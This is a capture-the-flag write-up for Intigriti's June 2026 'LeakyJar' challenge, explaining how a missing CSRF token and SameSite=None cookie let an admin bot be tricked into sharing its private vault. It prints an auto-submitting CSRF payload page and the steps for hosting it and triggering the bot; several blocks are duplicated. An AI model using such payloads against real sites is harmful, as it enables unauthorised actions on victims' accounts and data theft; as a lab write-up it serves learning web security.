June 30, 2026
Intigriti June 2026 Bonus Challenge — LeakyJar Writeup
How a Missing CSRF Token Spilled the Master Baker’s Secrets

By 0xruh4n
4 min read
How a Missing CSRF Token Spilled the Master Baker's Secrets
📌 Challenge Info
- Challenge: Intigriti June 2026 Bonus Challenge
- Name: LeakyJar
- URL: https://leakyjar.intigriti.io
- Created by: ProxyNomadd
- Vulnerability: Cross-Site Request Forgery (CSRF)
- Difficulty: Easy–Medium
Reconnaissance
The challenge presents LeakyJar — a cookie recipe sharing platform where bakers can share recipes, leave reviews, and maintain private recipe collections.
Upon landing on the challenge page, I was greeted with a warm, cookie-themed homepage with navigation links to:
/challenge— Home/recipes— Browse all cookie recipes/bakers— View baker profiles/register— Create an account/login— Sign in
Creating an Account
I started by registering a new account. After registration, I was redirected to /vault — a private "recipe box" page. This is where things got interesting.
Once authenticated, two new routes appeared in the navigation:
/vault— My recipe box (private collection)/submit— Report a recipe (sends URL to admin bot)
Application Mapping
After exploring all endpoints, here's the full application map: Public Routes:
├── /challenge → Homepage
├── /recipes → All recipes listing
├── /recipes/:uuid → Individual recipe + reviews
├── /bakers → Baker profiles
├── /baker/:uuid → Individual baker profile
├── /register → Registration (POST)
└── /login → Login (POST)
Authenticated Routes:
├── /vault → Private recipe box
├── /vault/add → Add recipe to box (POST)
├── /vault/:uuid → View a shared recipe box
├── /share → Share vault with another user (POST) ⚠️
├── /submit → Report URL to admin bot (POST)
└── /logout → Sign out
Identifying the Vulnerability
├── /challenge → Homepage
├── /recipes → All recipes listing
├── /recipes/:uuid → Individual recipe + reviews
├── /bakers → Baker profiles
├── /baker/:uuid → Individual baker profile
├── /register → Registration (POST)
└── /login → Login (POST)
Authenticated Routes:
├── /vault → Private recipe box
├── /vault/add → Add recipe to box (POST)
├── /vault/:uuid → View a shared recipe box
├── /share → Share vault with another user (POST) ⚠️
├── /submit → Report URL to admin bot (POST)
└── /logout → Sign out
Identifying the VulnerabilityThe Vault Page — /vault
The vault page is the heart of the application. It has three key sections:
1. My Recipes — Your private recipe collection
2. Add a Recipe — Form to save recipes:
<form method=”POST” action=”/vault/add”>
<input id=”name” name=”name” type=”text”>
<input id=”password” name=”password” type=”text”>
<button type=”submit”>Save to box</button>
</form>
<form method=”POST” action=”/vault/add”>
<input id=”name” name=”name” type=”text”>
<input id=”password” name=”password” type=”text”>
<button type=”submit”>Save to box</button>
</form>
3. Share My Recipe Box — This is where I found the vulnerability:
<! — share your recipe box (the CSRF-vulnerable action) →
<form method=”POST” action=”/share”>
<input id=”username” name=”username” type=”text”>
<button type=”submit”>Share box</button>
</form><! — share your recipe box (the CSRF-vulnerable action) →
<form method=”POST” action=”/share”>
<input id=”username” name=”username” type=”text”>
<button type=”submit”>Share box</button>
</form>Wait — did the developers just leave an HTML comment saying "the CSRF-vulnerable action"? 👀 Yes, they did. That's our target.
Checking for CSRF Protection
I immediately checked for any CSRF defenses:
- ❌ CSRF Token in form — Not present
- ❌ CSP Headers — Not present
- ❌ X-Frame-Options — Not present
- ⚠️ SameSite Cookie — Set to
None
The session cookie was set with:
Set-Cookie: session=...; Secure; HttpOnly; Path=/; SameSite=NoneSet-Cookie: session=...; Secure; HttpOnly; Path=/; SameSite=NoneSameSite=None means the browser will attach the session cookie even on cross-site requests. Combined with no CSRF token, this is a textbook CSRF vulnerability.
The Admin Bot — /submit
<h1>Report a recipe</h1>
<p>Paste a link and the Master Baker will take a look.</p>
<form method="POST" action="/submit">
<input id="url" name="url" type="url" placeholder="https://...">
<button>Send to the Master Baker</button>
</form><h1>Report a recipe</h1>
<p>Paste a link and the Master Baker will take a look.</p>
<form method="POST" action="/submit">
<input id="url" name="url" type="url" placeholder="https://...">
<button>Send to the Master Baker</button>
</form>This page allows us to submit a URL that the Master Baker (admin bot) will visit using a browser. Classic CSRF challenge setup.
The Master Baker
On the /bakers page, the Master Baker's profile reads:
"Founder of Leaky Jar and keeper of the jar's most guarded recipes. Shares the secret ones with no one." — Username: admin The admin has a private vault containing secret recipes — and presumably, the flag. The Attack Plan
The attack chain became clear:
1. Register an account on LeakyJar
2. Host a CSRF exploit page that auto-submits POST /share
with our username as the value
3. Submit the hosted URL to the admin bot via /submit
4. Admin bot visits our page → CSRF fires →
admin's vault gets shared with our account
5. Visit /vault → view admin's shared recipe box → FLAG!1. Register an account on LeakyJar
2. Host a CSRF exploit page that auto-submits POST /share
with our username as the value
3. Submit the hosted URL to the admin bot via /submit
4. Admin bot visits our page → CSRF fires →
admin's vault gets shared with our account
5. Visit /vault → view admin's shared recipe box → FLAG!Why This Works
When the admin bot visits our malicious page:
- Our page contains a form targeting https://leakyjar.intigriti.io/share
- The form auto-submits via JavaScript
- Because
SameSite=None, the admin's session cookie is included in the cross-origin POST request - The server processes the request as if the admin intentionally shared their vault
- The admin's private recipes (including the flag) become visible to us
Exploitation
Step 1: Register an Account
I registered a new account with the username rana on LeakyJar.
Step 2: Craft the CSRF Payload
<html>
<body>
<form action="https://leakyjar.intigriti.io/share" method="POST">
<input type="hidden" name="username" value="rana" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html><html>
<body>
<form action="https://leakyjar.intigriti.io/share" method="POST">
<input type="hidden" name="username" value="rana" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>This simple page:
- Creates a hidden form targeting
/share - Sets the
usernameto my account (rana) - Auto-submits the form on page load
Step 3: Host the Exploit
I hosted the CSRF payload on GitHub Pages to get a publicly accessible HTTPS URL:
https://<my-github-username>.github.io/leakyjar/
Note: I initially tried using ngrok, but the free tier's interstitial warning page prevented the admin bot from reaching my payload. GitHub Pages worked flawlessly.https://<my-github-username>.github.io/leakyjar/
Note: I initially tried using ngrok, but the free tier's interstitial warning page prevented the admin bot from reaching my payload. GitHub Pages worked flawlessly.Step 4: Trigger the Admin Bot
I navigated to /submit, pasted my GitHub Pages URL, and clicked "Send to the Master Baker".
The server responded with:
"Sent — the Master Baker will check it shortly."
Step 5: Capture the Flag 🏁
After waiting a few seconds, I visited /vault and scrolled down to the "Shared with you" section.
There it was — the admin's recipe box, now shared with my account. I clicked "View" and found the flag stored as a secret recipe in the Master Baker's private collection!
INTIGRITI{...}INTIGRITI{...}🎉 Challenge solved!